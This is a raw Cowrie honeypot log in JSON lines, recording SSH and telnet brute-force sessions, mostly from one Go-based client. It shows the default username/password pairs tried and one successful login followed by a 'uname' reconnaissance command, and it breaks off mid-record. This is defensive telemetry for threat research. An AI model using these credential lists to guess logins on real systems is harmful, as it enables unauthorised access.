{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:05.380383Z","src_ip":"192.109.200.78","session":"254073d9f330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50588,"dst_ip":"10.17.0.5","dst_port":22,"session":"708e03d8b60f","protocol":"ssh","message":"New connection: 192.109.200.78:50588 (10.17.0.5:22) [session: 708e03d8b60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:08.095451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:08.189624Z","src_ip":"192.109.200.78","session":"708e03d8b60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:08.193398Z","src_ip":"192.109.200.78","session":"708e03d8b60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.53535461425781,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:08.419348Z","src_ip":"5.42.229.203","session":"395c31ec918e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:08.542541Z","src_ip":"192.109.200.78","session":"708e03d8b60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:09.628860Z","src_ip":"192.109.200.78","session":"708e03d8b60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48952,"dst_ip":"159.203.135.109","dst_port":23,"session":"553d2d0ac35c","protocol":"telnet","message":"New connection: 206.189.71.75:48952 (159.203.135.109:23) [session: 553d2d0ac35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:10.268248Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50600,"dst_ip":"10.17.0.5","dst_port":22,"session":"52f42219204d","protocol":"ssh","message":"New connection: 192.109.200.78:50600 (10.17.0.5:22) [session: 52f42219204d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:12.216426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:12.224452Z","src_ip":"192.109.200.78","session":"52f42219204d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:12.309228Z","src_ip":"192.109.200.78","session":"52f42219204d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:12.555003Z","src_ip":"192.109.200.78","session":"52f42219204d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:13.640429Z","src_ip":"192.109.200.78","session":"52f42219204d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50606,"dst_ip":"10.17.0.5","dst_port":22,"session":"6308e373a8e7","protocol":"ssh","message":"New connection: 192.109.200.78:50606 (10.17.0.5:22) [session: 6308e373a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:16.281024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:16.286282Z","src_ip":"192.109.200.78","session":"6308e373a8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:16.368513Z","src_ip":"192.109.200.78","session":"6308e373a8e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:16.619755Z","src_ip":"192.109.200.78","session":"6308e373a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:17.705017Z","src_ip":"192.109.200.78","session":"6308e373a8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41686,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e72233ef077","protocol":"ssh","message":"New connection: 192.109.200.78:41686 (10.17.0.5:22) [session: 1e72233ef077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:20.344421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:20.348798Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:20.433795Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:20.860884Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:21.081702Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:21.085239Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:21.169920Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:21.175058Z","src_ip":"192.109.200.78","session":"1e72233ef077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"165d65a5f9b7","protocol":"telnet","message":"New connection: 5.42.229.203:35412 (159.203.135.109:23) [session: 165d65a5f9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.193649Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":35444,"dst_ip":"159.203.135.109","dst_port":23,"session":"1608899e9cfc","protocol":"telnet","message":"New connection: 5.42.229.203:35444 (159.203.135.109:23) [session: 1608899e9cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.197492Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41710,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a58de30194d","protocol":"ssh","message":"New connection: 192.109.200.78:41710 (10.17.0.5:22) [session: 5a58de30194d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.615038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.618615Z","src_ip":"192.109.200.78","session":"5a58de30194d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.704202Z","src_ip":"192.109.200.78","session":"5a58de30194d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:25.953543Z","src_ip":"192.109.200.78","session":"5a58de30194d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:27.044543Z","src_ip":"192.109.200.78","session":"5a58de30194d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42740,"dst_ip":"10.17.0.5","dst_port":22,"session":"140b3b5ba867","protocol":"ssh","message":"New connection: 192.109.200.78:42740 (10.17.0.5:22) [session: 140b3b5ba867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:28.822827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:28.827736Z","src_ip":"192.109.200.78","session":"140b3b5ba867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:28.909666Z","src_ip":"192.109.200.78","session":"140b3b5ba867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:29.156047Z","src_ip":"192.109.200.78","session":"140b3b5ba867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:30.240605Z","src_ip":"192.109.200.78","session":"140b3b5ba867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.91057848930359,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:32.622801Z","src_ip":"206.189.71.75","session":"0dda49ceb65c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42756,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae861ee06f79","protocol":"ssh","message":"New connection: 192.109.200.78:42756 (10.17.0.5:22) [session: ae861ee06f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:33.051922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:33.056273Z","src_ip":"192.109.200.78","session":"ae861ee06f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:33.139713Z","src_ip":"192.109.200.78","session":"ae861ee06f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:33.397107Z","src_ip":"192.109.200.78","session":"ae861ee06f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:34.485013Z","src_ip":"192.109.200.78","session":"ae861ee06f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42764,"dst_ip":"10.17.0.5","dst_port":22,"session":"080475e2cb5f","protocol":"ssh","message":"New connection: 192.109.200.78:42764 (10.17.0.5:22) [session: 080475e2cb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:37.180526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:17:37.214296Z","src_ip":"192.109.200.78","session":"080475e2cb5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sh